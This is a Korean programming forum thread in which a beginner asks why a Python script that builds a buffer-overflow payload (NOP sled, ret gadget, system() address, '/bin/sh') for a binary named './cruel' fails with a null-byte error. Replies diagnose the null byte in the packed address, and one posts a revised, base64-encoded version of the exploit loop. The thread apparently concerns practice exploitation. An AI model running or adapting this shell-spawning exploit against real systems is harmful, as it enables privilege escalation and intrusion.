파이썬 문자열오류

qkrwncks593의 이미지

파이썬 초보입니다.

os.system() 메서드를 사용하는데 NULL 문자에러가 발생하네요 ;;
아래는 소스코드입니다.

from struct import pack
import os
import sys
 
p = lambda x : pack("<L", x)
 
ret = 0x08048451 # ret gadget
system_addr = 0x07db0e7
i = 0
 
while 1:
        payload = "./cruel "
        payload += "\x90"*268
        payload += p(ret)*(i+1)
        payload += p(system_addr)
        payload += " "
        payload += "/bin/sh"
        i = i+1
        os.system(payload)
 
 
print("NOT Exploit..")

------------------ 에러내용 ------------

File "./exploit.py", line 19, in ?
os.system(payload)
TypeError: system() argument 1 must be string without null bytes, not str

----------------------------

snowall의 이미지

스트링이 아닌걸 넣었겠죠

피할 수 있을때 즐겨라! http://melotopia.net/b

세이군의 이미지

범인(?)으로 추정되는 부분이
1. payload = "./curel "
2. payload += " "
이 두 줄입니다. 따옴표 안에 있는 부분이 공백문자로 추정됩니다.

qiiiiiiiip의 이미지

"\x90" 가 범인일것 같은데요..

http://ubuntuforums.org/archive/index.php/t-1141685.html 에 따르면,
backslash가 python에서 해석돼서 그럴수 있다는

payload += r"\x90"*268

이라고 해보시죠..

snowall의 이미지

백슬래시가 문제면 백슬래시 두개를 넣어서 탈출문자로 처리해주면 될거예요

피할 수 있을때 즐겨라! http://melotopia.net/b

chanik의 이미지

> system_addr = 0x07db0e7
> p(system_addr)
'\xe7\xb0}\x00'

4바이트 빅엔디안 pack된 문자의 마지막 바이트가 '\x00'
즉 null byte라서 생긴 문제같습니다.

chanik의 이미지

아래와 같이 payload 부분을 base64 인코딩해서 넘긴다든지 하면 되겠네요.
물론 ./cruel 프로그램에서도 base64 디코딩하도록 수정해야겠죠.

from struct import pack
import os
import sys
import base64
 
p = lambda x : pack("<L", x)
 
ret = 0x08048451 # ret gadget
system_addr = 0x07db0e7
i = 0
 
while 1:
        command = "./cruel "
        payload = "\x90"*268
        payload += p(ret)*(i+1)
        payload += p(system_addr)
        command += base64.encodestring(payload)
        command += " "
        command += "/bin/sh"
        i = i+1
        os.system(command)
 
 
print("NOT Exploit..")payload

댓글 달기

Filtered HTML

  • 텍스트에 BBCode 태그를 사용할 수 있습니다. URL은 자동으로 링크 됩니다.
  • 사용할 수 있는 HTML 태그: <p><div><span><br><a><em><strong><del><ins><b><i><u><s><pre><code><cite><blockquote><ul><ol><li><dl><dt><dd><table><tr><td><th><thead><tbody><h1><h2><h3><h4><h5><h6><img><embed><object><param><hr>
  • 다음 태그를 이용하여 소스 코드 구문 강조를 할 수 있습니다: <code>, <blockcode>, <apache>, <applescript>, <autoconf>, <awk>, <bash>, <c>, <cpp>, <css>, <diff>, <drupal5>, <drupal6>, <gdb>, <html>, <html5>, <java>, <javascript>, <ldif>, <lua>, <make>, <mysql>, <perl>, <perl6>, <php>, <pgsql>, <proftpd>, <python>, <reg>, <spec>, <ruby>. 지원하는 태그 형식: <foo>, [foo].
  • web 주소와/이메일 주소를 클릭할 수 있는 링크로 자동으로 바꿉니다.

BBCode

  • 텍스트에 BBCode 태그를 사용할 수 있습니다. URL은 자동으로 링크 됩니다.
  • 다음 태그를 이용하여 소스 코드 구문 강조를 할 수 있습니다: <code>, <blockcode>, <apache>, <applescript>, <autoconf>, <awk>, <bash>, <c>, <cpp>, <css>, <diff>, <drupal5>, <drupal6>, <gdb>, <html>, <html5>, <java>, <javascript>, <ldif>, <lua>, <make>, <mysql>, <perl>, <perl6>, <php>, <pgsql>, <proftpd>, <python>, <reg>, <spec>, <ruby>. 지원하는 태그 형식: <foo>, [foo].
  • 사용할 수 있는 HTML 태그: <p><div><span><br><a><em><strong><del><ins><b><i><u><s><pre><code><cite><blockquote><ul><ol><li><dl><dt><dd><table><tr><td><th><thead><tbody><h1><h2><h3><h4><h5><h6><img><embed><object><param>
  • web 주소와/이메일 주소를 클릭할 수 있는 링크로 자동으로 바꿉니다.

Textile

  • 다음 태그를 이용하여 소스 코드 구문 강조를 할 수 있습니다: <code>, <blockcode>, <apache>, <applescript>, <autoconf>, <awk>, <bash>, <c>, <cpp>, <css>, <diff>, <drupal5>, <drupal6>, <gdb>, <html>, <html5>, <java>, <javascript>, <ldif>, <lua>, <make>, <mysql>, <perl>, <perl6>, <php>, <pgsql>, <proftpd>, <python>, <reg>, <spec>, <ruby>. 지원하는 태그 형식: <foo>, [foo].
  • You can use Textile markup to format text.
  • 사용할 수 있는 HTML 태그: <p><div><span><br><a><em><strong><del><ins><b><i><u><s><pre><code><cite><blockquote><ul><ol><li><dl><dt><dd><table><tr><td><th><thead><tbody><h1><h2><h3><h4><h5><h6><img><embed><object><param><hr>

Markdown

  • 다음 태그를 이용하여 소스 코드 구문 강조를 할 수 있습니다: <code>, <blockcode>, <apache>, <applescript>, <autoconf>, <awk>, <bash>, <c>, <cpp>, <css>, <diff>, <drupal5>, <drupal6>, <gdb>, <html>, <html5>, <java>, <javascript>, <ldif>, <lua>, <make>, <mysql>, <perl>, <perl6>, <php>, <pgsql>, <proftpd>, <python>, <reg>, <spec>, <ruby>. 지원하는 태그 형식: <foo>, [foo].
  • Quick Tips:
    • Two or more spaces at a line's end = Line break
    • Double returns = Paragraph
    • *Single asterisks* or _single underscores_ = Emphasis
    • **Double** or __double__ = Strong
    • This is [a link](http://the.link.example.com "The optional title text")
    For complete details on the Markdown syntax, see the Markdown documentation and Markdown Extra documentation for tables, footnotes, and more.
  • web 주소와/이메일 주소를 클릭할 수 있는 링크로 자동으로 바꿉니다.
  • 사용할 수 있는 HTML 태그: <p><div><span><br><a><em><strong><del><ins><b><i><u><s><pre><code><cite><blockquote><ul><ol><li><dl><dt><dd><table><tr><td><th><thead><tbody><h1><h2><h3><h4><h5><h6><img><embed><object><param><hr>

Plain text

  • HTML 태그를 사용할 수 없습니다.
  • web 주소와/이메일 주소를 클릭할 수 있는 링크로 자동으로 바꿉니다.
  • 줄과 단락은 자동으로 분리됩니다.
댓글 첨부 파일
이 댓글에 이미지나 파일을 업로드 합니다.
파일 크기는 8 MB보다 작아야 합니다.
허용할 파일 형식: txt pdf doc xls gif jpg jpeg mp3 png rar zip.
CAPTCHA
이것은 자동으로 스팸을 올리는 것을 막기 위해서 제공됩니다.